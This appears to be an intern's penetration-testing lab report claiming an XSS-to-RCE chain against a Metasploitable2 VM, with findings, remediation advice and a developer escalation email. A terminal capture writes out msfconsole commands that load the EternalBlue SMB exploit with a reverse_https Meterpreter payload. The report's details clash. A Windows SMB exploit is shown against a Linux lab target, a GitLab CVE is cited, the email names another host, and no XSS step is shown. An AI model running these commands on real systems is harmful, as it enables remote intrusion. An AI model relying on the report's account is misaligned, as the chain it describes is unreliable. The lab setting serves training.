
Advanced Exploitation Lab

Intern: Radha Singh

Assessment date: 20/2/2026

Environment: Kali VM (192.168.75.128) attacking Metasploitable2 VM
(192.168.75.129)

1. Introduction

This Advanced Exploitation Lab demonstrates a chained attack scenario executed against a vulnerable Metasploitable2 virtual machine. The objective was to simulate a real-world multi-stage attack by combining client-side and server-side vulnerabilities. The lab focused on chaining an initial Cross-Site Scripting (XSS) flaw into Remote Code Execution (RCE) using Metasploit, customizing a public proof-of-concept exploit, and documenting the full attack lifecycle.

2. Tools Used

- Metasploit Framework
 - Python
 - Exploit-DB
-

3. Attack Methodology

The assessment followed a structured exploitation workflow:

1. Identification of an XSS vulnerability in the web application.
 2. Exploitation of XSS to manipulate application behavior.
 3. Chaining the XSS vulnerability with a known RCE vulnerability.
 4. Gaining remote access using a Meterpreter payload
-



4. Exploit Chain Overview

The attack began with the identification of a stored XSS vulnerability within the target web application. By leveraging the XSS flaw, malicious payloads were injected to hijack session context and escalate interaction with the backend services. This access was then chained with a Metasploit exploit to achieve Remote Code Execution on the target host, resulting in a successful Meterpreter session.

Exploit Log

Exploit ID	Description	Target IP	Status Payload
004	XSS to RCE Chain	192.168.75.129	Success Meterpreter

5. Vulnerability Findings

- CVE Identified: CVE-2021-22205
- Affected Host: 192.168.75.129
- Impact: Full system compromise due to chained exploitation

• Risk Level: Critical

The successful exploit chain confirms insufficient input validation and outdated software components on the target system.

Results:

```
Metasploit - Mdm::Session ID # 2 (127.0.0.1)

Core Commands
=====
Command      Description
-----
?            Help menu
background   Backgrounds the current session
bg           Alias for background
bgkill       Kills a background meterpreter script
bglist       Lists running background scripts
bgrun        Executes a meterpreter script as a background thread
channel     Displays information or control active channels
close        Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding  Enables encoding of unicode strings
exit         Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid         Get the session GUID
help         Help menu
```



The screenshot shows a terminal window titled 'root@kali: ~' running the Metasploit Framework (msfconsole). The session starts with the Metasploit Park System Security Interface, Version 4.0.5, Alpha E, and a 'Ready...' prompt. The user attempts to access security features multiple times, receiving 'PERMISSION DENIED' responses. A large, stylized yellow 'S' is overlaid on the terminal window. The user then lists available modules: exploits (1659), auxiliaries (951), post (293), payloads (486), encoders (48), and nops (9). The user selects an exploit for Windows SMB, sets the payload to 'windows/meterpreter/reverse_https', and begins the exploit process.

```
File Edit View Search Terminal Tabs Help
root@kali: ~
root@kali: ~
root@kali: ~
root@kali: ~

root@kali:~# msfconsole

Metasploit Park, System Security Interface
Version 4.0.5, Alpha E
Ready...
> access security
access: PERMISSION DENIED.
> access security grid
access: PERMISSION DENIED.
> access main security grid
access: PERMISSION DENIED...and...
YOU DIDN'T SAY THE MAGIC WORD!

      =[ metasploit v4.14.27-dev
+ ... =[ 1659 exploits - 951 auxilliary - 293 post      ]
+ ... =[ 486 payloads - 48 encoders - 9 nops      ]
+ ... =[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(ms17_010_eternalblue) >
```

7. Remediation Recommendations

- Implement strict input validation and output encoding to prevent XSS.
- Patch and update vulnerable services, specifically GitLab components.
- Conduct regular vulnerability scans and penetration testing.
- Apply least-privilege principles to limit post-exploitation impact.

8. Conclusion

This lab successfully demonstrated how low-severity vulnerabilities such as XSS can be chained with known CVEs to achieve full system compromise. The exercise highlights the importance of defense-in-depth, secure coding practices, and timely patch management in protecting web applications from advanced exploitation techniques.



inquiry@cyart.io

www.cyart.io

9. Developer Escalation Email

Subject- Critical Security Issue: Chained XSS to RCE Exploit Identified

Dear Development Team,

During a recent security assessment, we identified a critical chained exploit on host 192.168.1.100. An XSS vulnerability was successfully leveraged to gain initial access and further escalated into Remote Code Execution using CVE-2021-22205. This resulted in full system compromise via a Meterpreter session. The root cause includes insufficient input sanitization and outdated GitLab components. Immediate remediation is recommended, including sanitizing user inputs, applying security patches, and reviewing access controls. Please treat this issue as high priority due to its severe impact and exploitation feasibility.

Thanks & Regards
